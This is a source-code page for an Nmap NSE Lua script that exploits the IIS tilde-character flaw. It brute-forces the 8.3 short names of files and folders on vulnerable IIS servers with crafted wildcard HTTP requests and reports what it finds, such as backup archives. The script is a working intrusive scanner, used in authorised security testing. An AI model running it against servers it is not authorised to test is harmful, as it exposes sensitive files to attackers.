summaryrefslogtreecommitdiffstats
path: root/scripts/http-iis-short-name-brute.nse
blob: bc4762fb9214f626f90fccdf15ba147fa503de2d (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
description = [[
Attempts to brute force the 8.3 filenames (commonly known as short names) of files and directories in the root folder
of vulnerable IIS servers. This script is an implementation of the PoC "iis shortname scanner".

The script uses ~,? and * to bruteforce the short name of files present in the IIS document root.
Short names have a restriction of 6 character file name followed by a three character extension.

Notes:
* The script might have to be run twice (according to the original author).
* Tested against IIS 6.0 and 5.1.

References:
* Research paper: http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
* IIS Shortname Scanner PoC: https://github.com/irsdl/IIS-ShortName-Scanner
]]

---
-- @usage
-- nmap -p80 --script http-iis-short-name-brute <target>
--
-- @output
-- PORT   STATE SERVICE
-- 80/tcp open  http
-- | http-iis-short-name-brute:
-- |   VULNERABLE:
-- |   Microsoft IIS tilde character "~" short name disclosure and denial of service
-- |     State: VULNERABLE (Exploitable)
-- |     Description:
-- |      Vulnerable IIS servers disclose folder and file names with a Windows 8.3 naming scheme inside the webroot folder.
-- |      Shortnames can be used to guess or brute force sensitive filenames. Attackers can exploit this vulnerability to
-- |      cause a denial of service condition.
-- |
-- |     Extra information:
-- |
-- |   8.3 filenames found:
-- |     Folders
-- |       admini~1
-- |     Files
-- |       backup~1.zip
-- |       certsb~2.zip
-- |       siteba~1.zip
-- |
-- |     References:
-- |       http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
-- |_      https://github.com/irsdl/IIS-ShortName-Scanner
---

author = {"Jesper Kueckelhahn", "Paulino Calderon"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}

local stdnse    = require "stdnse"
local shortport = require "shortport"
local table = require "table"
local http      = require "http"
local vulns = require "vulns"

portrule = shortport.http

local chars = "abcdefghijklmnopqrstuvwxyz0123456789"
local magic = "/*.aspx?aspxerrorpath=/"

local folders = {}
folders["name"] = "Folders"
local files = {}
files["name"] = "Files"
local last_number = 0
local errors_max = false
local errors = 0

local function isFolder(host, port, path, number)
  local data = http.get(host, port, "/" ..  path .. "~" .. number .. magic)
  return data.status == 404
end


local function isLonger(host, port, path, number)
  local data = http.get(host, port, "/" .. path .. "%3f*~" .. number .. "*" .. magic)
  return data.status == 404
end


local function foundName(host, port, path, number)
  local data = http.get(host, port, "/" .. path .. "~" .. number .. "*" .. magic)
  return data.status == 404
end


local function charInExtension(host, port, path, ext)
  local data = http.get(host, port, "/" .. path .. ext .. "*" .. magic )
  return data.status == 404
end

local function findExtension(host, port, path, ext)
  if charInExtension(host, port, path, ext) then
  -- currently only support for ext of length 3
    if ext:len() == 3 then
      stdnse.debug1("Added file: %s", path .. ext)
      table.insert(files, path .. ext)
    else
      for c in chars:gmatch(".") do
        findExtension(host, port, path, ext .. c)
      end
    end
  end
end

local function findName(host, port, path, number)
  -- check if the name is valid
  if foundName(host, port, path, number) then
    if isFolder(host, port, path, number) then
      --If the last 10 pages return 404, exit to deal to false positive case.
      if tonumber(number) == (last_number + 1) then
        errors = errors+1
      end
      if errors>10 then
        stdnse.debug1("False positive detected. Exiting.")
        errors_max=true
      else
        stdnse.debug1("Added folder: %s", path .. "~" .. number)
        table.insert(folders, path .. "~" .. number)

        -- increase the number ('~1' to '~2')
        last_number = number
        local nextNumber = tostring(tonumber(number) + 1)
        findName(host, port, path, nextNumber)
      end
    -- if the name is valid, and it's not a folder, it must be a file
    else
      findExtension(host, port, path .. "~" .. number .. ".", "")
      -- increase the number ('~1' to '~2')
      local nextNumber = tostring(tonumber(number) + 1)
      findName(host, port, path, nextNumber)
    end
  end

  -- is the path valid (i.e. 404)
  local cont = isLonger(host, port, path, number)

  -- recurse if the path is valid and the length of path is not 6
  if not (path:len() == 6) and cont and not(errors_max) then
    stdnse.debug1("Testing: %s", path .. "~" .. number)
    for c in chars:gmatch(".") do findName(host, port, path .. c, number) end
  end
end


action = function(host, port)
  local vuln = {
    title = 'Microsoft IIS tilde character "~" short name disclosure and denial of service',
    state = vulns.STATE.NOT_VULN,
    description = [[
Vulnerable IIS servers disclose folder and file names with a Windows 8.3 naming scheme inside the root folder.
Shortnames can be used to guess or brute force sensitive filenames. Attackers can exploit this vulnerability to
cause a denial of service condition.
    ]],
    references = {
      'http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf',
      'https://github.com/irsdl/IIS-ShortName-Scanner',
      'https://www.securityfocus.com/archive/1/523424'
    }
  }
  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)

  findName(host, port, "", "1")
  --Cleans the false positive results.
  if errors_max then
    files = {}
    folders = {}
  end
  --Vulnerable!
  if #files>0 or #folders>0 then
    local results = {}
    table.insert(results, folders)
    table.insert(results, files)
    vuln.state = vulns.STATE.EXPLOIT
    results.name = "8.3 filenames found:"
    vuln.extra_info = stdnse.format_output(true, results)
  end
  return vuln_report:make_output(vuln)
end